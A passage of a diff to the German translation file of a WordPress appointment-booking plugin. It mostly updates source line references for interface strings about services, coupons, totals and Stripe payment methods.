@@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"Tiefe der Darstellung der Unterkategorien.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"Anzahl\"\n \n@@ -2157,56 +2147,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"Maximale Anzahl der darzustellenden Kategorien.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"Name des Begriffs\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"Slug des Begriffs\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"Thema ID\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"ID der Oberkategorie\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"Anzahl der zugeordneten Objekte\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"Reihenfolge des Parameters \\\"IDs\\\" beibehalten\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"Sortierung der Begriffe\"\n \n@@ -2214,35 +2204,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"Dienstleistungs-Liste\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"Den Preis der Dienstleistung anzeigen.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"Dauer des Services anzeigen.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"Verfügbare Menge der Services anzeigen.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"Service-Mitarbeiter anzeigen.\"\n \n@@ -2250,7 +2240,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"Durch Komma getrennte Slugs oder IDs von Services, die gezeigt werden.\"\n \n@@ -2258,7 +2248,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"Durch Komma getrennte Slugs oder IDs von Mitarbeitern, die diese Leistungen anbieten.\"\n \n@@ -2266,7 +2256,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"Tags\"\n \n@@ -2365,7 +2355,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"Begriffe verbergen, die mit keinem Post verbunden sind.\"\n \n@@ -2623,10 +2613,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"Offener Betrag\"\n \n@@ -2846,11 +2836,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"Kunden\"\n@@ -2912,13 +2902,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"Ganztägig\"\n@@ -2927,12 +2917,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"Entfernen\"\n \n@@ -3039,7 +3029,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3344,11 +3334,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"Frei\"\n@@ -3433,33 +3423,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"Sie können hier eine neue Logmeldung hinzufügen und auf Aktualisieren klicken, um sie zu speichern\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"Gutschein\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"Reservierte Dienste\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"Zahlungsdetails\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"Preis der Buchung\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"Buchung #%d\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -4035,38 +4025,38 @@\n msgid \"Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment.\"\n msgstr \"Zahlen Sie mit Ihrer Kreditkarte über Stripe. Testen Sie die Zahlung, verwenden Sie die Kartennummer 4242424242424242 mit der Prüfziffer CVC 123, ein gültiges Ablaufdatum und eine zufällige 5-stellige Postleitzahl.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"Bankverbindung\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"iDEAL\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"Giropay\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"SEPA-Lastschrift\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"SOFORT\"\n \n@@ -5513,10 +5503,10 @@\n msgstr \"Reservierungen bearbeiten\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"Eine Reservierung vornehmen... \"\n \n@@ -6229,168 +6219,168 @@\n msgstr \"Dezember\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"Sie werden auf eine sichere Seite weitergeleitet, um Ihre Zahlung abzuschließen.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"Zwischensumme\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"Gutschein: %s\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"Gesamt\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"Anzahlung\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"Der Gutscheincode ist leer.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"Gutschein erfolgreich angewendet.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"Ihre Buchung ist leider nicht für diesen Gutschein berechtigt.\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"Indem Sie Ihre IBAN angeben und diese Zahlung bestätigen, ermächtigen Sie (A) %s und Stripe, unseren Zahlungsdienstleister, Anweisungen an Ihre Bank zu senden, um Ihr Konto zu belasten, und (B) Ihre Bank, Ihr Konto gemäß diesen Anweisungen zu belasten. Sie haben Anspruch auf eine Rückerstattung von Ihrer Bank gemäß den Geschäftsbedingungen Ihrer Vereinbarung mit Ihrer Bank. Eine Rückerstattung muss innerhalb von 8 Wochen ab dem Datum, an dem Ihr Konto belastet wurde, beantragt werden.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"Kredit- oder EC-Karte\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"oder\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: 